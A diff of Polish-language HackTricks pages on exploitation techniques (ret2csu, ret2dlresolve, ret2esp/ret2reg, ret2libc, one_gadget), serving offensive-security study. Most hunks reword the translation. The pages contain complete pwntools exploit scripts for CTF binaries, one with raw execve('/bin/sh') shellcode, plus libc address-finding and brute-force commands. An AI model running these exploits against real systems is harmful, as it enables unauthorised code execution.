||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -7,16 +7,16 @@
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**ret2csu** to technika hakerska stosowana, gdy próbujesz przejąć kontrolę nad programem, ale nie możesz znaleźć **gadżetów**, których zazwyczaj używasz do manipulowania zachowaniem programu. 
|
||||
**ret2csu** to technika hakowania stosowana, gdy próbujesz przejąć kontrolę nad programem, ale nie możesz znaleźć **gadżetów**, których zwykle używasz do manipulowania zachowaniem programu. 
|
||||
|
||||
Gdy program korzysta z pewnych bibliotek (np. libc), ma wbudowane funkcje do zarządzania komunikacją między różnymi częściami programu. Wśród tych funkcji są ukryte perełki, które mogą działać jak nasze brakujące gadżety, zwłaszcza jedna o nazwie `__libc_csu_init`.
|
||||
|
||||
|
|
@ -38,7 +38,7 @@ Ten gadżet pozwala nam kontrolować te rejestry, wypychając wartości ze stosu
|
|||
|
||||
2. Druga sekwencja wykorzystuje ustawione przez nas wartości do wykonania kilku czynności:
|
||||
* **Przenosi konkretne wartości do innych rejestrów**, przygotowując je do użycia jako parametry w funkcjach.
|
||||
* **Wykonuje wywołanie do lokalizacji** określonej przez dodanie wartości w r15 i rbx, a następnie pomnożenie rbx przez 8.
|
||||
* **Wykonuje wywołanie do lokalizacji** określonej przez dodanie do siebie wartości w r15 i rbx, a następnie pomnożenie rbx przez 8.
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
|
@ -82,7 +82,7 @@ Wyobraź sobie, że chcesz wykonać wywołanie systemowe lub wywołać funkcję
|
|||
Tu właśnie przydaje się **ret2csu**:
|
||||
|
||||
1. **Ustaw Rejestry**: Użyj pierwszego magicznego gadżetu, aby zdjąć wartości ze stosu i umieścić je w rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) i r15.
|
||||
2. **Użyj Drugiego Gadżetu**: Mając ustawione te rejestry, używasz drugiego gadżetu. Pozwala to przenieść wybrane wartości do `rdx` i `rsi` (odpowiednio z r14 i r13), przygotowując parametry do wywołania funkcji. Ponadto, kontrolując `r15` i `rbx`, możesz sprawić, że program wywoła funkcję znajdującą się pod adresem, który obliczysz i umieścisz w `[r15 + rbx*8]`.
|
||||
2. **Użyj Drugiego Gadżetu**: Mając te rejestry ustawione, używasz drugiego gadżetu. Pozwala to przenieść wybrane wartości do `rdx` i `rsi` (odpowiednio z r14 i r13), przygotowując parametry do wywołania funkcji. Ponadto, kontrolując `r15` i `rbx`, możesz sprawić, że program wywoła funkcję znajdującą się pod adresem, który obliczasz i umieszczasz w `[r15 + rbx*8]`.
|
||||
|
||||
Masz [**przykład użycia tej techniki i jej wyjaśnienie tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), a to jest ostateczny exploit, który został użyty:
|
||||
```python
|
||||
|
|
@ -109,7 +109,7 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
|||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Należy zauważyć, że poprzednie wykorzystanie nie ma na celu wykonania **`RCE`**, ma ono na celu jedynie wywołanie funkcji o nazwie `win` (pobierając adres `win` ze standardowego wejścia, wywołując gets w łańcuchu ROP i przechowując go w r15) z trzecim argumentem o wartości `0xdeadbeefcafed00d`.
|
||||
Należy zauważyć, że poprzednie wykorzystanie nie ma na celu wykonania **`RCE`**, ma ono na celu jedynie wywołanie funkcji o nazwie **`win`** (pobierając adres `win` ze standardowego wejścia, wywołując gets w łańcuchu ROP i przechowując go w r15) z trzecim argumentem o wartości `0xdeadbeefcafed00d`.
|
||||
{% endhint %}
|
||||
|
||||
### Ominięcie wywołania i dotarcie do ret
|
||||
|
|
|
|||
|
|
@ -18,17 +18,17 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
Jak wyjaśniono na stronie dotyczącej [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) i [**Relro**](../common-binary-protections-and-bypasses/relro.md), pliki binarne bez pełnego Relro będą rozwiązywać symbole (takie jak adresy do zewnętrznych bibliotek) za pierwszym razem, gdy zostaną użyte. To rozwiązanie następuje poprzez wywołanie funkcji **`_dl_runtime_resolve`**.
|
||||
|
||||
Funkcja **`_dl_runtime_resolve`** pobiera ze stosu odwołania do pewnych struktur, których potrzebuje do rozwiązania określonego symbolu.
|
||||
Funkcja **`_dl_runtime_resolve`** pobiera ze stosu odwołania do pewnych struktur, których potrzebuje do **rozwiązania** określonego symbolu.
|
||||
|
||||
Dlatego możliwe jest **podrobienie wszystkich tych struktur**, aby dynamiczne rozwiązanie odwołań wywołało żądany symbol (np. funkcję **`system`**) i wywołało go z skonfigurowanym parametrem (np. **`system('/bin/sh')`**).
|
||||
Dlatego możliwe jest **podrobienie wszystkich tych struktur**, aby dynamiczne łączenie rozwiązywało żądany symbol (np. funkcję **`system`**) i wywoływało go z skonfigurowanym parametrem (np. **`system('/bin/sh')`**).
|
||||
|
||||
Zazwyczaj wszystkie te struktury są fałszowane poprzez utworzenie **początkowego łańcucha ROP, który wywołuje `read`** na zapisywalnej pamięci, a następnie przekazywane są **struktury** i łańcuch **`'/bin/sh'`**, aby zostały zapisane przez `read` w znanym miejscu, a następnie łańcuch ROP kontynuuje wywołanie **`_dl_runtime_resolve`**, mając go **rozwiązać adres `system`** w fałszywych strukturach i **wywołać ten adres** z adresem do `$'/bin/sh'`.
|
||||
Zazwyczaj wszystkie te struktury są fałszowane poprzez utworzenie **początkowego łańcucha ROP, który wywołuje `read`** na zapisywalnej pamięci, a następnie przekazywane są **struktury** i ciąg znaków **`'/bin/sh'`**, aby zostały one przechowywane przez `read` w znanym miejscu, a następnie łańcuch ROP kontynuuje wywołanie **`_dl_runtime_resolve`**, mając go **rozwiązać adres `system`** w fałszywych strukturach i **wywołać ten adres** z adresem do `$'/bin/sh'`.
|
||||
|
||||
{% hint style="success" %}
|
||||
Ta technika jest szczególnie przydatna, zwłaszcza jeśli nie ma gadżetów systemowych (do użycia technik takich jak [**ret2syscall**](rop-syscall-execv.md) lub [SROP](ret2esp-ret2reg/srop-sigreturn-oriented-programming.md)) i nie ma sposobów na wyciek adresów libc.
|
||||
Ta technika jest szczególnie przydatna, zwłaszcza jeśli nie ma gadżetów systemowych (do użycia technik takich jak [**ret2syscall**](rop-syscall-execv.md) lub [SROP](srop-sigreturn-oriented-programming.md)) i nie ma sposobów na wyciek adresów libc.
|
||||
{% endhint %}
|
||||
|
||||
Możesz znaleźć lepsze wyjaśnienie tej techniki w drugiej połowie tego wideo:
|
||||
Możesz znaleźć lepsze wyjaśnienie tej techniki w drugiej połowie tego filmu:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
|
|
@ -70,7 +70,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
|
|||
|
||||
p.interactive()
|
||||
```
|
||||
### Surowy
|
||||
### Surowe
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
|
||||
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
|
||||
|
|
@ -178,4 +178,4 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
|
||||
* 32-bitowy, brak relro, brak canary, nx, brak pie, podstawowy mały przepełnienie buforu i powrót. Aby go wykorzystać, przepełnienie buforu jest używane do ponownego wywołania `read` z sekcją `.bss` i większym rozmiarem, aby przechować w niej fałszywe tabele `dlresolve` do załadowania `system`, powrót do funkcji main i ponowne wykorzystanie początkowego przepełnienia buforu do wywołania dlresolve, a następnie `system('/bin/sh')`.
|
||||
* 32-bitowy, brak relro, brak canary, nx, brak pie, podstawowy mały przepełnienie buforu i powrót. Aby go wykorzystać, przepełnienie buforu jest używane do ponownego wywołania `read` z sekcją `.bss` i większym rozmiarem, aby przechować w niej fałszywe tabele `dlresolve` do załadowania `system`, powrót do głównej funkcji i ponowne wykorzystanie początkowego przepełnienia buforu do wywołania dlresolve, a następnie `system('/bin/sh')`.
|
||||
|
|
|
|||
|
|
@ -0,0 +1,126 @@
|
|||
# Ret2esp / Ret2reg
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## **Ret2esp**
|
||||
|
||||
**Ponieważ ESP (Wskaźnik stosu) zawsze wskazuje na górę stosu**, ta technika polega na zastąpieniu EIP (Wskaźnik instrukcji) adresem instrukcji **`jmp esp`** lub **`call esp`**. Dzięki temu, shellcode jest umieszczany bezpośrednio po nadpisanej wartości EIP. Gdy instrukcja `ret` jest wykonywana, ESP wskazuje na następny adres, dokładnie tam, gdzie przechowywany jest shellcode.
|
||||
|
||||
Jeśli **Randomizacja Układu Przestrzeni Adresowej (ASLR)** nie jest włączona w systemie Windows lub Linux, można użyć instrukcji `jmp esp` lub `call esp` znalezionych w bibliotekach współdzielonych. Jednakże, przy [**ASLR**](../common-binary-protections-and-bypasses/aslr/) aktywnym, konieczne może być poszukiwanie tych instrukcji w samym programie podatnym (i możliwe, że trzeba będzie pokonać [**PIE**](../common-binary-protections-and-bypasses/pie/)).
|
||||
|
||||
Co więcej, możliwość umieszczenia shellcode **po nadpisaniu EIP**, a nie w środku stosu, zapewnia, że żadne instrukcje `push` lub `pop` wykonane podczas działania funkcji nie będą ingerować w shellcode. Taka ingerencja mogłaby wystąpić, gdyby shellcode był umieszczony w środku stosu funkcji.
|
||||
|
||||
### Brak miejsca
|
||||
|
||||
Jeśli brakuje Ci miejsca do zapisania po nadpisaniu RIP (może to być tylko kilka bajtów), napisz początkowy **`jmp`** shellcode, na przykład:
|
||||
```armasm
|
||||
sub rsp, 0x30
|
||||
jmp rsp
|
||||
```
|
||||
I zapisz shellcode na początku stosu.
|
||||
|
||||
### Przykład
|
||||
|
||||
Możesz znaleźć przykład tej techniki w [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) z końcowym exploit'em jak:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln')
|
||||
p = process()
|
||||
|
||||
jmp_rsp = next(elf.search(asm('jmp rsp')))
|
||||
|
||||
payload = b'A' * 120
|
||||
payload += p64(jmp_rsp)
|
||||
payload += asm('''
|
||||
sub rsp, 10;
|
||||
jmp rsp;
|
||||
''')
|
||||
|
||||
pause()
|
||||
p.sendlineafter('RSP!\n', payload)
|
||||
p.interactive()
|
||||
```
|
||||
Możesz zobaczyć kolejny przykład tej techniki na [https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/xctf16\_b0verflow/index.html). Istnieje tu przepełnienie bufora bez włączonego NX, używany jest gadżet do **zmniejszenia adresu `$esp`** a następnie `jmp esp;` aby przejść do kodu powłoki:
|
||||
```python
|
||||
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
|
||||
from pwn import *
|
||||
|
||||
# Establish the target process
|
||||
target = process('./b0verflow')
|
||||
#gdb.attach(target, gdbscript = 'b *0x080485a0')
|
||||
|
||||
# The shellcode we will use
|
||||
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
|
||||
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
|
||||
|
||||
# Establish our rop gadgets
|
||||
|
||||
# 0x08048504 : jmp esp
|
||||
jmpEsp = p32(0x08048504)
|
||||
|
||||
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
|
||||
pivot = p32(0x80484fd)
|
||||
|
||||
# Make the payload
|
||||
|
||||
payload = ""
|
||||
payload += jmpEsp # Our jmp esp gadget
|
||||
payload += shellcode # Our shellcode
|
||||
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
|
||||
payload += pivot # Our pivot gadget
|
||||
|
||||
# Send our payload
|
||||
target.sendline(payload)
|
||||
|
||||
# Drop to an interactive shell
|
||||
target.interactive()
|
||||
|
||||
```
|
||||
## Ret2reg
|
||||
|
||||
Podobnie, jeśli znamy funkcję zwracającą adres, w którym przechowywany jest kod powłoki, możemy wykorzystać instrukcje **`call eax`** lub **`jmp eax`** (znane jako technika **ret2eax**), oferując inny sposób wykonania naszego kodu powłoki. Podobnie jak eax, **dowolny inny rejestr** zawierający interesujący adres może być użyty (**ret2reg**).
|
||||
|
||||
### Przykład
|
||||
|
||||
Możesz znaleźć kilka przykładów tutaj: 
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
|
||||
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
|
||||
* **`strcpy`** przechowa w **`eax`** adres bufora, w którym przechowywany jest kod powłoki, a **`eax`** nie jest nadpisywany, więc można użyć `ret2eax`.
|
||||
|
||||
## Protections
|
||||
|
||||
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Jeśli stos nie jest wykonawczy, to nie pomoże, ponieważ musimy umieścić kod powłoki na stosie i skoczyć, aby go wykonać.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Te mechanizmy mogą utrudnić znalezienie instrukcji do skoku do esp lub dowolnego innego rejestru.
|
||||
|
||||
## References
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
@ -16,21 +16,23 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
Istotą **Ret2Libc** jest przekierowanie przepływu wykonania podatnego programu do funkcji w bibliotece współdzielonej (np. **system**, **execve**, **strcpy**) zamiast wykonywania kodu shell dostarczonego przez atakującego na stosie. Atakujący tworzy ładunek, który modyfikuje adres powrotu na stosie, aby wskazywał na pożądaną funkcję biblioteczną, jednocześnie zapewniając, że wszelkie konieczne argumenty są poprawnie ustawione zgodnie z konwencją wywołania.
|
||||
Istotą **Ret2Libc** jest przekierowanie przepływu wykonania podatnego programu do funkcji w bibliotece współdzielonej (np. **system**, **execve**, **strcpy**) zamiast wykonywania kodu shell dostarczonego przez atakującego na stosie. Atakujący tworzy ładunek, który modyfikuje adres powrotu na stosie, aby wskazywał na pożądaną funkcję biblioteczną, jednocześnie zapewniając, że wszystkie niezbędne argumenty są poprawnie ustawione zgodnie z konwencją wywołania.
|
||||
|
||||
### **Przykładowe kroki (uproszczone)**
|
||||
|
||||
* Uzyskaj adres funkcji do wywołania (np. system) i polecenie do wywołania (np. /bin/sh)
|
||||
* Wygeneruj łańcuch ROP, aby przekazać pierwszy argument wskazujący na łańcuch polecenia i przepływ wykonania do funkcji
|
||||
* Uzyskaj adres funkcji do wywołania (np. system) i polecenie do wykonania (np. /bin/sh)
|
||||
* Wygeneruj łańcuch ROP, aby przekazać pierwszy argument wskazujący na ciąg poleceń i przepływ wykonania do funkcji
|
||||
|
||||
## Znajdowanie adresów
|
||||
|
||||
* Zakładając, że używana jest `libc` z bieżącej maszyny, można znaleźć, gdzie zostanie załadowana w pamięci za pomocą:
|
||||
* Zakładając, że używana jest biblioteka `libc` z bieżącej maszyny, można znaleźć, gdzie zostanie załadowana w pamięci za pomocą:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Jeśli chcesz sprawdzić, czy ASLR zmienia adres libc, możesz to zrobić:
|
||||
```bash
|
||||
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
||||
|
|
@ -43,7 +45,7 @@ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
|||
```bash
|
||||
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
||||
```
|
||||
### Korzystanie z gdb-peda / GEF
|
||||
### Używając gdb-peda / GEF
|
||||
|
||||
Znając używaną bibliotekę libc, można również użyć Peda lub GEF, aby uzyskać adres funkcji **system**, funkcji **exit** oraz ciągu znaków **`/bin/sh`**:
|
||||
```bash
|
||||
|
|
@ -83,15 +85,15 @@ Sprawdź stronę [https://libc.blukat.me/](https://libc.blukat.me/) i użyj **ki
|
|||
|
||||
Te ataki brute-force są **przydatne tylko dla systemów 32-bitowych**.
|
||||
|
||||
* Jeśli exploit jest lokalny, możesz spróbować przeprowadzić atak brute-force na adres bazowy libc (przydatne dla systemów 32-bitowych):
|
||||
* Jeśli exploit jest lokalny, możesz spróbować bruteforce'ować adres bazowy libc (przydatne dla systemów 32-bitowych):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* Jeśli atakujesz zdalny serwer, możesz spróbować **przeprowadzić atak siłowy na adres funkcji `usleep` z biblioteki `libc`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, oznacza to, że znalazłeś adres tej funkcji.
|
||||
* Jeśli atakujesz zdalny serwer, możesz spróbować **przeprowadzić atak siłowy na adres funkcji `usleep` z biblioteki `libc`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer zajmuje dodatkowe 10 sekund na odpowiedź**, oznacza to, że znalazłeś adres tej funkcji.
|
||||
|
||||
## One Gadget
|
||||
|
||||
Wykonaj powłokę, skacząc tylko do jednego określonego adresu w bibliotece `libc`:
|
||||
Wykonaj powłokę, skacząc tylko do **jednego** konkretnego **adresu** w bibliotece `libc`:
|
||||
|
||||
{% content-ref url="one-gadget.md" %}
|
||||
[one-gadget.md](one-gadget.md)
|
||||
|
|
@ -140,7 +142,7 @@ Oznacza to w zasadzie nadużycie **Ret2lib w celu przekształcenia go w podatno
|
|||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
||||
* Ret2lib, mając wyciek do adresu funkcji w libc, korzystając z jednego gadżetu
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64 bity, ASLR włączone, ale brak PIE, pierwszym krokiem jest przepełnienie aż do bajtu 0x00 canary, a następnie wywołanie puts i wyciek. Z canary tworzony jest gadżet ROP do wywołania puts w celu wycieku adresu puts z GOT, a następnie gadżet ROP do wywołania `system('/bin/sh')`
|
||||
* 64 bity, ASLR włączone, ale brak PIE, pierwszym krokiem jest zapełnienie przepełnienia aż do bajtu 0x00 canary, a następnie wywołanie puts i wyciek go. Z canary tworzony jest gadżet ROP do wywołania puts w celu wycieku adresu puts z GOT, a następnie gadżet ROP do wywołania `system('/bin/sh')`
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||
* 64 bity, ASLR włączone, brak canary, przepełnienie stosu w funkcji głównej z funkcji potomnej. Gadżet ROP do wywołania puts w celu wycieku adresu puts z GOT, a następnie wywołanie jednego gadżetu.
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/hs19\_storytime/index.html)
|
||||
|
|
|
|||
|
|
@ -9,14 +9,14 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
[**Jedno narzędzie**](https://github.com/david942j/one\_gadget) pozwala uzyskać powłokę zamiast korzystania z **system** i **"/bin/sh". Jedno narzędzie** znajdzie w bibliotece libc sposób uzyskania powłoki (`execve("/bin/sh")`) używając tylko jednego **adresu**.\
|
||||
[**Jedno narzędzie**](https://github.com/david942j/one\_gadget) pozwala uzyskać powłokę zamiast korzystania z **system** i **"/bin/sh". Jedno narzędzie** znajdzie w bibliotece libc sposób uzyskania powłoki (`execve("/bin/sh")`) za pomocą jednego **adresu**.\
|
||||
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do uniknięcia to na przykład `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości w **RSP**, wystarczy wysłać więcej wartości NULL, aby uniknąć ograniczenia.
|
||||
|
||||
.png>)
|
||||
|
|
@ -24,8 +24,8 @@ Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do uniknię
|
|||
ONE_GADGET = libc.address + 0x4526a
|
||||
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||||
```
|
||||
Aby uzyskać adres wskazany przez One Gadget, musisz **dodać adres bazowy, gdzie jest załadowany `libc`**.
|
||||
